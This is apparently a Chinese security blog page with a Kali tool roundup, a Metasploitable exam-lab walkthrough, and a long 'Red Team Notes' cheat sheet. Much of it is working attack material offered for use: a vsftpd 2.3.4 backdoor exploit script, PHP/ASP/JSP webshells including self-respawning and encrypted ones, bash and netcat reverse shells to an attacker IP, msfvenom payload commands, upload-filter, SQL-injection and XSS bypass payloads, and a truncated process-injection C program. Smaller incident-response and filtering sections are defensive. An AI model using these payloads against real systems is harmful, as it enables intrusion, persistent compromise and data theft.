消息,持久性,认证,代理,日志,警报的一个强大的可扩展的框架。beef漏洞分为存储型、反射型、DOM型,最常见的就是利用XSS漏洞弹窗,进一步获取用户Cookie信息。可是如今的WEB系统,有的已经设置HttpOnly属性,有的在请求头中使用Authorization字段提供token令牌,这导致了我们难以获取到用户的身份信息。在这个背景下,XSS漏洞好像越来越没用了。BeEF-XSS是一款非常强大的XSS平台,集成了许多payload,利用它可以极大的提高XSS漏洞的威力。binwalkbinwalk是kali系统中下的文件分析工具。主要是用于CTF_杂项的隐写题,分离提取隐写的文件。如:从图片里分离出压缩包,从流量分析文件里分离出图片,压缩包等。binwalk filepath // 分析文件 binwalk -e filepath // 提取文件volatilityvolatility常用于以下镜像文件的取证:raw、vmen、dmp、img,工具需要自行下载。git clone https://github.com/volatilityfoundation/volatility.gitxsserxsser是一款用于web端自动挖掘和利用xss漏洞的工具,功能非常强大。xsser #命令行启动 xsser –gtk #GUI界面 xsser -u "http://xxx.xxx.xxx/" # 指定 URLpompemPompem的开源工具,该工具可以在当前最热门或最重要的漏洞数据库中搜索漏洞以及相应的漏洞利用代码。该工具采用Python开发,可以帮助渗透测试人员或白帽黑客快速完成漏洞审计任务。# 输入一些网站的框架就可以搜索相关的漏洞 pompem -s Wordpress pompem -s Joomla --html pompem -s "Internet Explorer,joomla,wordpress" --html pompem -s FortiGate --txt pompem -s ssh,ftp,mysqldirsearchdirsearch是一个基于python的高级命令行工具, 旨在对web服务器中的目录和文件进行暴力破解。它和我们平时使用的dirb、御剑等工具一样,就是为了扫描网站的敏感文件和目录从而找到突破口。dirsearch -u http://www.xxx.comGithub: https://github.com/maurosoria/dirsearchtplmapTplmap是一款自动检测和发掘服务器端模板注入漏洞的工具。支持测试Mako, Jinja2, Jade, Smarty, Freemarker, Velocity, 和Twig。python3 tplmap.py -u http://4ed902ae-b677-45c3-a0c1-4c8a88af7f07.node3.buuoj.cn/qaq?name=1 --engine=Jinja2 --os-shell Github: https://github.com/epinna/tplmapkoadic在渗透测试过程中,小伙伴们通常会使用netcat、ncat进行反弹shell,但windows电脑通常不具备开箱即用这些命令的特点,故本期视频我们将分享一个工具koadic,它可以利用windows自带的mshta命令,进行反弹shell从而控制整台windows计算机。同时在关闭终端后依然可以维持会话,除此之外,koadic工具还提供了各种实用的小功能,大家可以自行使用。git clone https://github.com/zerosum0x0/koadic.git cd koadic pip3 install -r requirements.txt ./koadicVeilVeil Evasion,Veil Evasion是linux的一款免杀工具,是一个用 Python 编写的免杀框架,用来生成MSF的Payload,能绕过常见的杀毒软件,它可以将任意脚本或一段 Shellcode 转换成 Windows 可执行文件,从而逃避常见防病毒产品的检测。wapitiWapiti是一款Web应用扫描工具,可以执行黑盒扫描,用户只需要输入要扫描的网址即可,该工具可以探测文件包含、数据库注入、XSS、CRLF、XXE注入、.htaccess绕过等漏洞,还可以指定报告文件格式等。wpscanWPScan是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题,还使用了 Nikto,它是一款非常棒的Web 服务器评估工具,我们认为这个工具应该成为所有针对 WordPress网站进行的渗透测试的一部分。radare2Radare2是一个开源的命令行反汇编框架和逆向工程工具,支持多种架构和文件格式,可以用来对二进制文件进行静态和动态分析,包括反汇编、调试、数据可视化等操作等,跟IDA和x64dbg差不多,最主要的是kali自带,用起来感觉还可以。r2 pwnROPgadgetROPgadget 是一款强大的工具,专为在二进制文件中寻找Gadget而设计。它不仅是一个便捷的查找工具,也能自动化执行相关操作,极大地方便了研究人员在进行返回导向编程(ROP)攻击时的利用过程。ROPgadget 支持多种处理器架构,包括 x86、x64、ARM、PowerPC、SPARC 和 MIPS,同时兼容 ELF、PE 和 Mach-O 三种主流的文件格式。
2022年09月20日
983 阅读
0 评论
76 点赞
2022-05-10
此内容被密码保护
加密文章,请前往内页查看详情
2022年05月10日
480 阅读
0 评论
48 点赞
2022-02-26
【技术分享】Metasploitable 靶机漏洞复现
留言这里我就用kali进行操作,用什么操作系统渗透都是可以的,不要让系统限制了你发挥的能力,这里我用kali因为工具都是跟随系统的,不用自己安装比较方便点,有人就说脚本小子那我就想知道,你写的也是脚本有力气写脚本,还不如用别人写好的。浪费时间,难道说你写的脚本,比那些专业人士写的还要厉害? 不也就是重复造轮子,自己会写肯定好,还是要学会利用现有资源,重在思路。靶机介绍Metasploitable是一个虚拟靶机系统镜像,里面含有大量未被修复的安全漏洞,是主要用于MSF渗透测试的目标。它是基于Ubuntu的Linux虚拟机,兼容Vmware、VirtualBox等虚拟机系统。Metasploitable 靶场下载BEESCMS漏洞这个靶机是期末考试用到的,默认账号密码都是msfadmin,考试可没那么简单,已经把这个靶机默认的登录账号密码给改了,需要自己在上面找漏洞,这种靶机在网上其实有很多教程,这里我按照自己的思路再走一遍。1.先用arp-scan扫一遍自身网段的主机,这种方式用的是arp扫描,比ping好多了如果对方开了防火墙ping就凉凉,arp扫描屡试不爽。arp-scan -l // 扫描当前内网主机2.出结果了,是这个地址192.168.25.132,再进行nmap进行扫描下参数不过多解释可以自行研究,信息搜集完毕开始进行分析了,看到系统开了这么多个端口,每个端口都可以试试有对应的服务名称,可百度查阅是否有漏洞。nmap -T4 -sV 192.168.25.132 -p- > info.txt // 扫描并保存结果到文本3.考试的时候做的是这个web上的,考试流程是这样的:{timeline}{timeline-item color="#19be6b"}找到靶机ip地址和web网站(端口随机生成的){/timeline-item}{timeline-item color="#ed4014"}网站上找到后台登录界面{/timeline-item}{timeline-item color="#ed4014"}爆破后台账号密码(后台登录存在sql注入的){/timeline-item}{timeline-item color="#ed4014"}通过后台上传一句话木马{/timeline-item}{timeline-item color="#19be6b"}最终将系统提权(整体流程就是这么简单){/timeline-item}{/timeline}4.扫描下网站目录dirb http://192.168.25.132:41083/这个网址有点可疑,manage是管理的意思,到浏览器访问看下。5.找到了这里其实存在sql注入的,但考试要求进行爆破,用burpsuite抓包进行登录爆破,这里有点多余了,我已经知道账号密码了,admin和1234qwer 就直接就跳过。6.生成一句话木马,直接把一句话木马后缀,改成图片格式也是可以的,这里为了让它更像一张图片,直接在图片内嵌入了一句话,并不影响图片的显示。copy /b 图片路径 + 一句话木马路径 生成的名称 echo "<?php eval(@$_POST['cmd']);" >> 1.php// 一句话木马 <?php eval(@$_POST['cmd']);7.这里我就不用burpsuite,我安装的kali没带懒得安装,这里我就用Fiddler了,上传的时候拦截并把图片格式改为php修改绕过前端规则就行,这样一句话木马就到服务器里了,直接用菜刀或蚂剑连接就行了。8.连接成功,查看下权限不是root权限,开始提权下载提权源码。https://www.exploit-db.com/download/8572待更新...SQL注入1.找到登录后台在账号框输入单引号,随便输入一个密码再加验证码,点击登录。2.就会发现sql语法错误,这就是存在sql注入,经过测试发现只有账号那里存在sql注入。' an and d extractvalue(1,concat(0x7e,(select database()),0x7e))#3.经过尝试and也被过滤了,and用an and d代替,union用un union ion代替,select用selselectect代替。端口漏洞FTP登录密码已知,自己生成字典。账号密码useruserpostgrespostgresserviceservice21 22 23端口msfconsole -q # 启动msf search vsftpd_234 # 搜索21端口漏洞 use 0 # 选择漏洞序号 set rhosts 192.168.213.143 # 设置目标ip run # 执行CVE-2011-2523#!/usr/bin/python3 # CVE : CVE-2011-2523 # vsftp2.3.4 21端口笑脸漏洞 from telnetlib import Telnet import argparse import re from signal import signal, SIGINT from sys import exit def handler(signal_received, frame): print(' [+]Exiting...') exit(0) signal(SIGINT, handler) def main(): parser = argparse.ArgumentParser() parser.add_argument("host", help="input the host", type=str) args = parser.parse_args() host = args.host portFTP = 21 user = "USER nergal:)" password = "PASS pass" try: with Telnet(host, portFTP) as tn: tn.read_until(b"(vsFTPd 2.3.4)") tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") tn.write(password.encode('ascii') + b"\n") with Telnet(host, 6200) as tn2: tn2.read_until(b"exit\n", timeout=1) tn2.write(b'python -c "import pty; pty.spawn(\'/bin/bash\')"\n') tn2.interact() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": main()使用工具:hydra 暴力破解工具hydra -L user.txt -P pass.txt ftp://192.168.25.132 # ftp hydra -L user.txt -P pass.txt 192.168.25.132 ssh # ssh21、22、23 端口存在弱口令。80端口search php_cgi use 0 set rhost 192.168.72.134 run111端口search sunrpc_portmapper use 0 set rhost 192.168.213.143 run1099端口search java_rmi_server use 0 set rhost 192.168.213.143 run1524端口telnet 192.168.72.1343632端口search distcc_exec set payload payload/cmd/unix/bind_perl use 0 run6667 6697端口search ircd_3281_backdoor use 0 set payload cmd/unix/bind_perl # 选择payload set rhost 192.168.213.143 run1524端口利用telnet、nc连接1524端口3306端口mysql -h 192.168.56.129 -u rootmysql密码存在弱口令5900端口vncviewer 192.168.56.129 // 弱密码 password5900端口存在密码弱口令5432端口psql -h 192.168.56.129 -U postres // 弱密码 postres5432端口存在密码弱口令
2022年02月26日
68 阅读
0 评论
5 点赞
2022-02-04
【技术分享】Red Team Notes
信息收集nmap -T4 -sS -Sv 192.168.1.100 -p- # 多线程端口扫描 dirb http://192.168.1.100 # 单线程目录扫描 dirb http://192.168.1.100 -X ".tar, .zip" -t 10 # 多线程目录文件扫描 curl -X 36.6.144.192:8089 http://www.baidu.com # 代理访问 goby fofa hunter # 简单的信息收集编码加解echo "actdream" | md5sum # 将字符串 "actdream" 转换为 MD5 哈希值 echo "actdream" | base64 # 将字符串 "actdream" 转换为 Base64 编码 echo "YWN0ZHJLYWOK" | base64 -d # 将 Base64 编码 "YWN0ZHJLYWOK" 解码 echo "%20%30%35" | xargs -d% echo # 将 URL 编码 "%20%30%35" 解码 cat 1.txt | xargs -d% echo # 处理包含多个 URL 编码的文本文件 hexdump -C 1.png # 查看图片文件 "1.png" 的十六进制表示 cat 1.txt | hexdump -ve '1/1 "%.2X"' # 将文本文件 "1.txt" 转换成十六进制格式输出字符匹配strings filepath | grep -E "flag1|flag2" # 多字符匹配,匹配包含"flag1"或"flag2"的字符串 ps aux | grep 'root.* ./a.out$' # 使用正则匹配,从头到尾匹配字符串 find / -name flag* # 匹配前缀为"flag"的文件或目录 (\d{1,3}\.){3}\d{1,3} # 匹配ip地址文件权限chmod +x filename # 给予文件可执行权限 chmod +r filename # 给予文件可读权限 chmod +w filename # 给予文件可写权限 chmod 755 filename # 给予执行、读权限,同时取消写权限 chmod 700 filename # 给予执行、读、写权限 chmod 777 filename # 给予最高权限 chmod 000 filename # 给予全部无权限 chmod -x filename # 取消文件可执行权限 chmod 6 filename # 给予可读、可写权限(去除文件小锁)压缩包破解zip2john flag.zip > 1.txt # 提取 zip 压缩包的哈希值 rar2john flag.zip > 1.txt # 提取 rar 压缩包的哈希值 john 1.txt # 使用 John the Ripper 计算压缩包的密码 john 1.txt --wordlist=dict.txt # 使用指定字典文件破解哈希值 crunch 4 4 0123456789 -o 1.txt # 生成四位数密码组合,保存到 1.txt木马wf绕过copy /b 1.jpg + 1.php 2.jpg # 复制并插入文件 echo "<?php eval(\$_POST['c']); ?>" >> 1.png # 在 PNG 文件末尾追加 PHP 代码执行 <?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST["sh"]); ?>'); ?> # 写入一句话木马到 shell.php # REQUEST 提交支持 post get <?php system($_REQUEST["cmd"]); ?> # 使用系统命令执行 # ASP 一句话 <% eval request("cmd") %> # 使用 ASP 代码执行命令 # JSP 一句话 <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> # 使用 JSP 执行命令 # base64 编码 system <?php $a = base64_decode("c3lzdGVt"); $a($_GET['a']); ?> # base64 解码并执行命令 # 字符拼接 <?php $a="e"."v"; $b="a"."l"; $c=$a.$b; $c($_POST['a']); # 拼接函数名并执行 <?php $str="a=eval"; parse_str($str); $a($_POST['a']); # 使用字符串拼接函数名 <?php $a = "eval"; $a(@$_POST['a']); # 使用字符串赋值函数名 ?>/* eval - 可利用执行系统命令 system() - 执行系统命令 passthru() - 执行系统命令并输出结果 exec() - 执行系统命令并返回结果 shell_exec() - 执行系统命令并返回结果 popen() - 打开一个进程来执行系统命令 proc_open() - 执行系统命令并返回进程资源 */反弹Shell<?php $binary_data = file_get_contents('1.exe'); echo bin2hex($binary_data); # 将二进制文件转换为十六进制 <?php $res_data = hex2bin('hex'); file_put_contents('1.exe', $res_data); # 还原为二进制程序 data = bytes.fromhex(open('1.hex', 'r').read()) # Python3 读取16进制数据 open('output', 'wb').write(data) # 还原为二进制可执行文件 weevely generate 208 1.php # 生成木马 weevely url password # 连接木马 bash -i >& /dev/tcp/192.168.213.141/888 0 >&1 # bash 反弹shell <?php $a = shell_exec($_GET['s']); echo "<pre>$a</pre>"; # 使用GET请求执行shell命令 <?php exec("bash -c 'bash -i >& /dev/tcp/192.168.213.141/888 0 >&1'"); # PHP反弹shell msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f exe > 1.exe # 生成Windows木马 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f elf > 1.elf # 生成Linux木马 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f raw > 1.php # 生成PHP木马 # msfconsole msfconsole -q # 启动metasploit框架 use exploit/multi/handler # 创建监听器 set payload php/meterpreter/reverse_tcp # 设置PHP payload set payload linux/x64/meterpreter/reverse_tcp # 设置Linux payload set payload windows/meterpreter_reverse_tcp # 设置Windows payload set lhost 192.168.213.141 # 设置反弹主机 set lport 4444 # 设置监听端口 show options # 查看选项 run # 启动监听 getsystem # Windows提权 nc -lvp 888 # 使用netcat监听端口 bash -i >& /dev/tcp/192.168.213.141/888 0 >&1 python -c 'import pty; pty.spawn("/bin/bash")' # 启动新的bash来增强交互 nc -lvp 888 > 1.txt # 接收文件 nc 192.168.213.133 888 < 1.txt # 传输文件 nc -e cmd 192.168.100.129 4444 # Windows 反弹shell nc -e /bin/bash 192.168.100.129 4444 # Linux 反弹shell nc -lvp 4444 # 接收反弹shell python3 -m http.server 80 # 启动Python HTTP服务(用于下载文件) php -S 192.168.213.132:80 # 启动PHP HTTP服务(用于下载文件) cat data.json | python -m json.tool # JSON格式化转换上传漏洞// 白名单绕过: X-Forwarded-For: 127.0.0.1 # 伪装请求源ip // 双后缀名绕过:xxx.phpphp MIME绕过:image/jpg // 空格绕过:xxx.jpg空格 .htaccess绕过:AddType application/x-httpd-php .jpg // 大小写绕过:phP PHP Php .user.ini绕过:auto_prepend_file=a.jpg auto_append_file=a.jpg // 文件头绕过:GIF89a 89504E47 FFD8FF 后缀:Php php2 php3 php4 php5 php6 php7 pht phtm phtml <scrip language="php">@eval($_POST['c']);<script> <?php eval($_POST['sh']); <? eval($_POST['sh']); # 去php头绕过 // 可利用执行函数 eval() system() exec() shell_exec() //(反引号也可以) passthru() pcntl_exec() popen() proc_open() create_function()SQL注入语句sqlmap -r 1.txt -dbs -batch sqlmap -r 1.txt -D test -tables -batch sqlmap -r 1.txt -D test -T note -columns -batch sqlmap -r 1.txt -D test -T note -C user,pass -batch # sqlmap工具 sqlmap -m 1.txt --batch # 批量注入 1' or '1' = '1 # 字符型绕过 0' union select 1,2,3 --+ 0' union select 1,version(), database() #堆叠注入 1'; show databases;# 显示数据库 1'; show tables;# 查看表名 1'; show columns from note# 查看表字段 id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note' --+ # 查看字段 id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g' --+ # 查看字段 id=0' union select 1,group_concat(fllllag),3 from note.fl4g --+ # 查看字段内容代码加固$str = "Is your name O'reilly?"; echo addslashes($str); // 简单加反斜杠 // 输出结果:Is your name O\'reilly? $str = "Is y\our name O\\'reilly\\\?"; echo stripslashes($str); // 简单去除反斜杠 // 输出结果:Is your name O'reilly\? $str = "<script>alert('test')</script>"; echo htmlspecialchars($str); // XSS 简单防御 // 输出结果:<script>alert('test')</script> $str = "select * from users where user_id =1' and 1=1 #"; echo addslashes($str); // SQL注入简单防御 // 输出结果:select * from users where user_id =1\' and 1=1 #系统排查eventvwr.msc # 事件查看器,查看登录、注销、错误等事件 4624 登录成功 4625 登录失败 4634 注销成功 4647 用户启动注销 4672 使用管理员进行登录 4720 创建用户 # 文件时间排序排查,文件名称可疑排查 %UserProfile%\Recent # 最近操作 %temp% # 临时缓存 %appdata% # 应用数据目录 gpedit.msc # 组策略 systeminfo # 系统信息 services.msc # 应用服务 netstat -ano | findstr ES # 排查可疑网络连接 net user # 查看本地用户 net user Guest # 查看用户详细信息 lusrmgr.msc # 本地用户组 regedit # 注册表 msconfig # 打开启动项 taskschd.msc # 任务计划 # Linux 命令 /var/log/cron # 系统定时任务相关日志 /etc/rc.local /var/log/dmesg # 开机自检信息 /var/log/lastlog # 最后一次登录日志 /var/log/auth.log # 记录验证和授权 如SSH登录、su切换用户、sudo授权 /etc/crontab # 启动项 /etc/profile # 环境变量 cat /etc/passwd # 查看用户是否有可疑 cat /etc/passwd | grep x:0 # 新增的就可能存在 cat /etc/passwd | grep /bin/bash # 查看使用shell的用户 ls -l /proc/XXX/XXXX # 查看对应文件路径 ps –aux | grep pid # 查看pid对应的程序 top -p pid # 监控指定进程 userdel -r xp # 删除用户 并将/home目录下的user目录一并删除 grep -o "Failed password" /var/log/secure|uniq -c # 查看登录失败次数 history # 查看终端命令历史命令 stat /etc/passwd # 查看文件近期修改 ls -lt --time=ctime # 查看最近被修改过的文件 ls -lt --time=ctime /home/kali # 指定文件路径 crontab -l # 查看启动项 creontab -e # 编辑启动项 uname -r # 查看内核版本 rpm -qa | grep apache # 查看是否有这样的软件 ps -ef | grep apache # 查询apache 进程 service httpd restart # 重启httpd firewall-cmd --zone=public --add-port=80/tcp --permanent # 开放80端口 firewall-cmd --reload # 重启防火墙 firewall-cmd --list-ports # 显示运行通过端口 rpm -qa # 查询软件包 service mariadb status # 查看服务状态 service mariadb start # 启动服务 service mariadb restart # 重启服务 rpm -e openssh-server # 删除软件文件包含?file=data://text/plain,<?php system('ls'); // 使用PHP系统命令来列出文件列表 ?file=data://text/plain,<?php system('tac flag.php'); # 查看文件内容 ?file=data://text/plain,<?=system('tac flag*'); // 绕过后缀过滤查看所有以flag开头的文件内容 ?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo(); // 访问日志和文件列表操作 ?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');phpinfo(); // 查看 /var/www/html/fl0g.php 文件内容 程序特征码易语言按钮征码: 查找二进制字符串 FF25,看是否有很多 JMP 堆叠在一起,如果有则很可能是易语言程序。 FF 55 FC 5F 5E MFC类程序: 运行程序然后就 CTRL+F,查找特征代码: sub eax,0a 断下后 F7 跟进就会来到按钮事件代码处了!(如果没有 CALL,则跳过此处,即此处不为按钮事件) (或者不用 F7,直接 enter 回车跟入跳转,在 call 处下断点) Delphi BC++程序: 740E8BD38B83????????FF93???????? 万能断点: OD 选择查看->模块->USER32,在模块内查找二进制字符串,下断点后执行到断点,使用 alt+F9 回到用户代码。 F3A58BC883E103F3A4E8 条件断点: [ebp-4]!=0x4010AC 总结: MFC: sub eax,0a VC++6.0: sub eax,0a VB语言: 81 6C 24 易语言: FF 55 FC 5F 5E 或 (e-debug) 万能断点: F3 A5 8B C8 83 E1 03 F3 A4 E8 Z(User32 模块下断) Delphi: 74 0E 8B D3 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 蓝屏保护特征码: 55 8B EC BB 06 00 00 00 蓝屏防御特征码: 55 8B EC 81 EC 14 00 00 00 68 0C 00 00 00 API函数断点追数据,比如断点 MessageBoxA 断下来了, 就按快捷键 ctrl + F9 返回,到 ret 再按 F8,一直往上追数据。{collapse}{collapse-item label="目录字典" close}.git .git/HEAD .git/index .git/config .git/description source source.php .idea/workspace.xml source.php.bak .source.php.bak source.php.swp README.MD README.md README .gitignore /db/db.mdb .svn .svn/wc.db .svn/entries user.php.bak .hg .DS_store WEB-INF/web.xml WEB-INF/src/ WEB-INF/classes WEB-INF/lib WEB-INF/database.propertie CVS/Root CVS/Entries .bzr/ %3f %3f~ .%3f.swp .%3f.swo .%3f.swn .%3f.swm .%3f.swl _viminfo .viminfo %3f~ %3f~1~ %3f~2~ %3f~3~ %3f.save %3f.save1 %3f.save2 %3f.save3 %3f.bak_Edietplus %3f.bak %3f.back phpinfo.php robots.txt .htaccess .bash_history .svn/ .git/ .index.php.swp index.php.swp index.php.bak .index.php~ index.php.bak_Edietplus index.php.~ index.php.~1~ index.php index.php~ index.phps index.php.rar index.php.zip index.php.7z index.php.tar.gz index.php.txt login.php register register.php test.php upload.php phpinfo.php t.php www.zip www.rar www.7z www.tar.gz www.tar web.zip web.rar web.zip web.7z web.tar.gz web.tar plus qq.txt log.txt wwwroot.rar web.rar dede admin edit Fckeditor ewebeditor bbs Editor manage shopadmin web_Fckeditor login webadmin admin/WebEditor admin/daili/webedit login/ database/ tmp/ manager/ manage/ web/ admin/ shopadmin/ wp-includes/ edit/ editor/ user/ users/ admin/ home/ test/ administrator/ houtai/ backdoor/ flag/ upload/ uploads/ download/ downloads/ manager/ root.zip root.rar wwwroot.zip wwwroot.rar backup.zip backup.rar .svn/entries .git/config .ds_store flag.php fl4g.php f1ag.php f14g.php admin.php 4dmin.php adm1n.php 4dm1n.php admin1.php admin2.php adminlogin.php administrator.php login.php register.php upload.php home.php log.php logs.php config.php member.php user.php users.php robots.php info.php phpinfo.php backdoor.php fm.php example.php mysql.bak a.sql b.sql db.sql bdb.sql ddb.sql users.sql mysql.sql dump.sql data.sql backup.sql backup.sql.gz backup.sql.bz2 backup.zip rss.xml crossdomain.xml 1.txt flag.txt /wp-config.php /configuration.php /sites/default/settings.php /config.php /config.inc.php /conf/_basic_config.php /config/site.php /system/config/default.php /framework/conf/config.php /mysite/_config.php /typo3conf/localconf.php /config/config_global.php /config/config_ucenter.php /lib /data/config.php /data/config.inc.php /includes/config.php /data/common.inc.php /caches/configs/database.php /caches/configs/system.php /include/config.inc.php /phpsso_server/caches/configs/database.php /phpsso_server/caches/configs/system.php 404.php index.html user/ users/ admin/ home/ test/ administrator/ houtai/ backdoor/ flag/ uploads/ download/ downloads/ manager/ phpmyadmin/ phpMyAdmin/{/collapse-item}{/collapse}XSS语句<script>alert(1);</script> <!-- 基本XSS漏洞 --> <body onscroll=alert("xss");> <!-- 滚动时触发XSS --> <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> <!-- 自动聚焦 --> <body/onload=alert("xss");> <!-- 页面加载时触发XSS --> <audio src=x onerror=alert("xss");> <!-- 音频错误时触发XSS --> <video><source onerror="alert(1)"> <!-- 视频播放错误触发XSS --> <iframe onload=alert("xss");></iframe> <!-- iframe加载时触发XSS --> <svg onload=alert("xss");> <!-- SVG加载时触发XSS --> <details open ontoggle="alert('xss');"> <!-- 可折叠元素切换时触发XSS --> <input onfocus="alert('xss');"> <!-- 输入框聚焦时触发XSS --> <scirpt>alert("xss");</script> <!-- 脚本标签 --> <textarea onfocus=alert("xss"); autofocus> <!-- 多行文本框 --> <a href="javascript:alert(`xss`);">xss</a> <!-- 超链接触发XSS --> <a href="javascript:alert(`xss`);">xss</a> # 空格绕过 / 代替空格 <ImG sRc=x onerRor=alert("xss");> # 大小写绕过 <imimgg srsrcc=x onerror=alert("xss");> # 双写字绕过 <img src="x" onerror="a=`alert`;b=`(`;c='xss`;eval(a+b+c)"> # 字符拼接 <!-- Unicode编码绕过 --> <img src="x" onerror="alert("xss");"> <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> <!-- url编码绕过 --> <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> <!-- ascii码绕过 --> <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> <!-- hex绕过 --> <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> <!-- 八进制绕过 --> <img src=x onerror=alert('\170\163\163')> <!-- base64绕过 --> <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> <!-- 十进制IP --> <img src="x" onerror=document.location=`http://2130706433/`> <!-- 八进制IP --> <img src="x" onerror=document.location=`http://0177.0.0.01/`> <!-- 十六进制 --> <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>流量过滤ftp http arp udp telnet smtp username password flag{ flag Rar PK .rar .zip .png .py .tar.gz .7z .jpg 666c6167 f JFIF # 关键字文件搜索 nbns # 查找主机名称 http contains "robots.txt" or http.request.uri contains "robots.txt" # 查看robots.txt ftp contains "USER" and ftp contains "PASS" # 查找账号密码 http contains "uname" # 查看内核版本 http contains "www-data" or http contains "root" # 查看shell连接后权限 http.request.uri contains "login" or http.request.uri contains "admin" # 查找url存在login或admin tcp.connection.syn # 查看tcp第一次访问 ftp contains "USER" # 过滤FTP账号 http contains "404" # 搜索被爆破哪些目录 tcp.flags.syn==1 # 查看被扫描了哪些端口 tcp.flags.syn==1 and ip.src==192.168.213.145 # 查看哪些端口被扫描 - 开放 http.request.method == POST or http contains "submit" # 查找表单关键字 http.response.code==200 and http contains "database" # 查看数据库请求成功后 http contains ".log" # 查看存在日志关键字 http contains "<?php eval" http contains "<?php @eval" # 过滤内容存在一句话木马 http.request.uri contains "shell.php" # 过滤url存在敏感文件 ip.port == 3306 and http contains "version=" # mysql版本 http contains "whoami" or http contains "ls" # 查看被入侵后 http contains "acunetix" # 搜索扫描工具特征 一般扫描工具:Awvs, Netsparker, Appscan, Webinspect, Rsas, Nessus, WebReaver, Sqlmap不死马<?php // 忽略用户断开请求,保证脚本持续运行 ignore_user_abort(true); // 设置脚本执行时间无限制 set_time_limit(0); // 删除当前脚本自身,防止重复执行 unlink(__FILE__); // 定义新的shell.php文件名 $file = 'shell.php'; // 编写webshell代码,包含密码验证和命令执行 $code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>'; // 无限循环生成shell.php文件 while (1) { // 写入webshell代码到文件 file_put_contents($file, $code); // 修改文件修改时间,防止被删除 system('touch -m -d "2020-12-01 09:10:12" shell.php'); // 每隔5秒执行一次 usleep(5000); } ?> // passwd=AabyssTeam // POST传参:passwd=AabyssTeam&cmd=system('ls');<?php // 设置脚本执行时间无限制 set_time_limit(0); // 忽略用户断开请求,脚本将后台运行 ignore_user_abort(1); // 删除当前脚本自身,防止重复执行 unlink(__FILE__); // 无限循环生成shell.php文件 while(1) { // 创建shell.php文件并写入简单的webshell代码 file_put_contents('shell.php','<?php @eval($_POST["cmd"]);?>'); // 间隔时间,防止过于频繁 sleep(0); } ?>Linux信息收集// 检查系统发行版本信息 cat /etc/issue // 显示系统发行信息 cat /etc/*-release // 显示系统发行版本 cat /etc/lsb-release // 显示 LSB (Linux Standard Base) 发行版本 cat /etc/redhat-release // 显示 Red Hat 发行版本DES Webshell<?php $a = $_GET['cmd']; // 从 URL 参数中获取 cmd 参数 $key = 'qaswedfr'; // 加密密钥 $decryptedData = openssl_decrypt(base64_decode($a), 'DES-ECB', $key, OPENSSL_RAW_DATA); // 使用 DES-ECB 解密数据 $flag = ""; // 存储解密后的数据 // 对每个解密后的字符使用异或运算处理 for($i=0; $i<strlen($decryptedData); $i++){ $test = $decryptedData[$i]; $flag .= chr(ord($test) ^ 0x10); // 使用 XOR 运算处理字符 echo "<br />"; } echo $flag; // 输出解密后的数据 system($flag); // 执行解密后的命令 ?><?php // 定义解密函数 function iJG($BHM) { $BHM = gzinflate(base64_decode($BHM)); // 使用 base64 解码和 inflate 解压缩 for($i=0; $i<strlen($BHM); $i++) { $BHM[$i] = chr(ord($BHM[$i]) - 1); // 每个字符减去 1 } return $BHM; } // 调用解密函数,传入加密数据 eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A")); ?>Webshell大马{cloud title="源码" type="default" url="https://www.52tt.pro/usr/uploads/2022/08/webshell.zip" password=""/}{collapse}{collapse-item label="shellcode调窗口" open}#include <windows.h> // Windows API #include <stdio.h> // 标准输入/输出库 #include <string.h> // 字符串处理库 #include <tlhelp32.h> // 进程快照和工具帮助库 // 获取指定进程名的进程ID WORD GetProcessIdByName(const char *processName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return 0; PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hSnapshot, &pe32)) { do { if (strcmp(pe32.szExeFile, processName) == 0) { CloseHandle(hSnapshot); return pe32.th32ProcessID; } } while (Process32Next(hSnapshot, &pe32)); } CloseHandle(hSnapshot); return 0; } // 主函数 int main() { const char *targetProcessName = "0.exe"; // 目标进程名称 DWORD pid = GetProcessIdByName(targetProcessName); // 获取目标进程ID HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 打开目标进程,赋予所有访问权限 if (hProcess == NULL) { return 1; } // 分配远程内存用于存储注入代码 LPVOID pCode = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pCode == NULL) { CloseHandle(hProcess); return 1; } // 定义注入的机器码 BYTE Hexcode[] = { 